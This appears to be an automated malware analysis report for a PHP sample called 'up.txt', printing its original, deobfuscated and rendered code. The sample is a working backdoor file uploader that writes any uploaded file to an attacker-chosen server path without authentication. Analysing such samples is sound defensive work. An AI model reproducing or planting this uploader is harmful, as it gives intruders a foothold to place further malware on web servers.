PHP Malware Analysis

up.txt

md5: 9d470601f97227079c67030644f3a996

Jump to: 

Screenshot
Attributes
Files

Input

Title

Deobfuscated PHP code
makanan
<?php 
$files = @$_FILES["files"];
if ($files["name"] != '') {
    $fullpath = $_REQUEST["path"] . $files["name"];
    if (move_uploaded_file($files['tmp_name'], $fullpath)) {
        echo "<a href='{$fullpath}'>OK-Click here!</a>";
    }
}
echo "<html><head><title>Upload files...</title></head><body><form method=POST enctype=\"multipart/form-data\" action=\"\"><input type=text name=path><input type=\"file\" name=\"files\"><input type=submit value=\"Up\"></form></body></html>";
Execution traces
Generated HTML code
<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">makanan
&lt;?php
$files = @$_FILES["files"];
if ($files["name"] != '') {
    $fullpath = $_REQUEST["path"] . $files["name"];
    if (move_uploaded_file($files['tmp_name'], $fullpath)) {
        echo "&lt;a href='$fullpath'&gt;OK-Click here!&lt;/a&gt;";
    }
}echo '&lt;html&gt;&lt;head&gt;&lt;title&gt;Upload files...&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&lt;form method=POST enctype="multipart/form-data" action=""&gt;&lt;input type=text name=path&gt;&lt;input type="file" name="files"&gt;&lt;input type=submit value="Up"&gt;&lt;/form&gt;&lt;/body&gt;&lt;/html&gt;';
?&gt;</pre></body></html>
Original PHP code
makanan
<?php
$files = @$_FILES["files"];
if ($files["name"] != '') {
    $fullpath = $_REQUEST["path"] . $files["name"];
    if (move_uploaded_file($files['tmp_name'], $fullpath)) {
        echo "<a href='$fullpath'>OK-Click here!</a>";
    }
}echo '<html><head><title>Upload files...</title></head><body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form></body></html>';
?>